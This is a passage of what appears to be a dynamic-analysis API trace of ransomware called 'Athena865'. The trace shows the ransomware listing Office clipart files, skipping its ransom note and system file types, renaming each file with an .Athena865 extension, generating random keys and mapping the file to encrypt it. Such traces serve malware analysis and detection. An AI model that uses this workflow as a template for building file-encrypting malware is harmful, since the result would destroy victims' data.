param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.Athena865") returned 73 [0130.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.athena865"), dwFlags=0x1) returned 1 [0130.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.403] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21580) returned 1 [0130.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.404] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.404] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.404] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.404] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5750, lpName=0x0) returned 0x154 [0130.406] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5750) returned 0x100000 [0130.407] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.408] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.408] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.409] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.409] CloseHandle (hObject=0x154) returned 1 [0130.409] CloseHandle (hObject=0x17c) returned 1 [0130.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.410] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0130.410] lstrcmpiW (lpString1="J0309585.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.410] lstrcmpiW (lpString1="J0309585.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.410] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309585.JPG" | out: lpString1="J0309585.JPG") returned="J0309585.JPG" [0130.410] lstrlenW (lpString="J0309585.JPG") returned 12 [0130.410] lstrlenW (lpString="Athena865") returned 9 [0130.410] lstrcmpiW (lpString1="09585.JPG", lpString2="Athena865") returned -1 [0130.410] lstrlenW (lpString=".dll") returned 4 [0130.410] lstrcmpiW (lpString1="J0309585.JPG", lpString2=".dll") returned 1 [0130.410] lstrlenW (lpString=".lnk") returned 4 [0130.410] lstrcmpiW (lpString1="J0309585.JPG", lpString2=".lnk") returned 1 [0130.410] lstrlenW (lpString=".ini") returned 4 [0130.410] lstrcmpiW (lpString1="J0309585.JPG", lpString2=".ini") returned 1 [0130.410] lstrlenW (lpString=".sys") returned 4 [0130.410] lstrcmpiW (lpString1="J0309585.JPG", lpString2=".sys") returned 1 [0130.410] lstrlenW (lpString="J0309585.JPG") returned 12 [0130.410] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.Athena865") returned 73 [0130.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.athena865"), dwFlags=0x1) returned 1 [0130.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.412] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39563) returned 1 [0130.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.412] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.413] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.413] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.413] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d90, lpName=0x0) returned 0x154 [0130.414] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d90) returned 0x100000 [0130.417] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.418] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.418] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.419] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.420] CloseHandle (hObject=0x154) returned 1 [0130.420] CloseHandle (hObject=0x17c) returned 1 [0130.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.420] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0130.420] lstrcmpiW (lpString1="J0309598.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.420] lstrcmpiW (lpString1="J0309598.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.420] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309598.JPG" | out: lpString1="J0309598.JPG") returned="J0309598.JPG" [0130.420] lstrlenW (lpString="J0309598.JPG") returned 12 [0130.420] lstrlenW (lpString="Athena865") returned 9 [0130.420] lstrcmpiW (lpString1="09598.JPG", lpString2="Athena865") returned -1 [0130.420] lstrlenW (lpString=".dll") returned 4 [0130.421] lstrcmpiW (lpString1="J0309598.JPG", lpString2=".dll") returned 1 [0130.421] lstrlenW (lpString=".lnk") returned 4 [0130.421] lstrcmpiW (lpString1="J0309598.JPG", lpString2=".lnk") returned 1 [0130.421] lstrlenW (lpString=".ini") returned 4 [0130.421] lstrcmpiW (lpString1="J0309598.JPG", lpString2=".ini") returned 1 [0130.421] lstrlenW (lpString=".sys") returned 4 [0130.421] lstrcmpiW (lpString1="J0309598.JPG", lpString2=".sys") returned 1 [0130.421] lstrlenW (lpString="J0309598.JPG") returned 12 [0130.421] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.Athena865") returned 73 [0130.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.athena865"), dwFlags=0x1) returned 1 [0130.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.422] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33264) returned 1 [0130.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.423] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.423] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.424] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.424] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84f0, lpName=0x0) returned 0x154 [0130.425] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84f0) returned 0x100000 [0130.427] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.428] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.428] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.429] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.429] CloseHandle (hObject=0x154) returned 1 [0130.429] CloseHandle (hObject=0x17c) returned 1 [0130.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.430] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0130.430] lstrcmpiW (lpString1="J0309664.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.430] lstrcmpiW (lpString1="J0309664.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.430] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309664.JPG" | out: lpString1="J0309664.JPG") returned="J0309664.JPG" [0130.430] lstrlenW (lpString="J0309664.JPG") returned 12 [0130.430] lstrlenW (lpString="Athena865") returned 9 [0130.430] lstrcmpiW (lpString1="09664.JPG", lpString2="Athena865") returned -1 [0130.430] lstrlenW (lpString=".dll") returned 4 [0130.430] lstrcmpiW (lpString1="J0309664.JPG", lpString2=".dll") returned 1 [0130.430] lstrlenW (lpString=".lnk") returned 4 [0130.430] lstrcmpiW (lpString1="J0309664.JPG", lpString2=".lnk") returned 1 [0130.430] lstrlenW (lpString=".ini") returned 4 [0130.430] lstrcmpiW (lpString1="J0309664.JPG", lpString2=".ini") returned 1 [0130.431] lstrlenW (lpString=".sys") returned 4 [0130.431] lstrcmpiW (lpString1="J0309664.JPG", lpString2=".sys") returned 1 [0130.431] lstrlenW (lpString="J0309664.JPG") returned 12 [0130.431] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.Athena865") returned 73 [0130.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.athena865"), dwFlags=0x1) returned 1 [0130.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.433] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43707) returned 1 [0130.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.433] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.434] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.434] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.434] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xadc0, lpName=0x0) returned 0x154 [0130.435] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xadc0) returned 0x100000 [0130.438] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.439] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.439] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.440] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.440] CloseHandle (hObject=0x154) returned 1 [0130.440] CloseHandle (hObject=0x17c) returned 1 [0130.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.441] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0130.441] lstrcmpiW (lpString1="J0309705.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.441] lstrcmpiW (lpString1="J0309705.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.441] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309705.JPG" | out: lpString1="J0309705.JPG") returned="J0309705.JPG" [0130.441] lstrlenW (lpString="J0309705.JPG") returned 12 [0130.441] lstrlenW (lpString="Athena865") returned 9 [0130.441] lstrcmpiW (lpString1="09705.JPG", lpString2="Athena865") returned -1 [0130.441] lstrlenW (lpString=".dll") returned 4 [0130.441] lstrcmpiW (lpString1="J0309705.JPG", lpString2=".dll") returned 1 [0130.441] lstrlenW (lpString=".lnk") returned 4 [0130.441] lstrcmpiW (lpString1="J0309705.JPG", lpString2=".lnk") returned 1 [0130.441] lstrlenW (lpString=".ini") returned 4 [0130.441] lstrcmpiW (lpString1="J0309705.JPG", lpString2=".ini") returned 1 [0130.441] lstrlenW (lpString=".sys") returned 4 [0130.441] lstrcmpiW (lpString1="J0309705.JPG", lpString2=".sys") returned 1 [0130.441] lstrlenW (lpString="J0309705.JPG") returned 12 [0130.442] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.Athena865") returned 73 [0130.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.athena865"), dwFlags=0x1) returned 1 [0130.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.443] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19162) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.443] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.444] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.444] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.444] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4de0, lpName=0x0) returned 0x154 [0130.446] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4de0) returned 0x100000 [0130.447] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.448] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.448] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.449] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309902.WMF" | out: lpString1="J0309902.WMF") returned="J0309902.WMF" [0130.449] lstrlenW (lpString="J0309902.WMF") returned 12 [0130.449] lstrlenW (lpString="Athena865") returned 9 [0130.449] lstrcmpiW (lpString1="09902.WMF", lpString2="Athena865") returned -1 [0130.449] lstrlenW (lpString=".dll") returned 4 [0130.450] lstrcmpiW (lpString1="J0309902.WMF", lpString2=".dll") returned 1 [0130.450] lstrlenW (lpString=".lnk") returned 4 [0130.450] lstrcmpiW (lpString1="J0309902.WMF", lpString2=".lnk") returned 1 [0130.450] lstrlenW (lpString=".ini") returned 4 [0130.450] lstrcmpiW (lpString1="J0309902.WMF", lpString2=".ini") returned 1 [0130.450] lstrlenW (lpString=".sys") returned 4 [0130.450] lstrcmpiW (lpString1="J0309902.WMF", lpString2=".sys") returned 1 [0130.450] lstrlenW (lpString="J0309902.WMF") returned 12 [0130.450] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.Athena865") returned 73 [0130.450] MoveFileExW 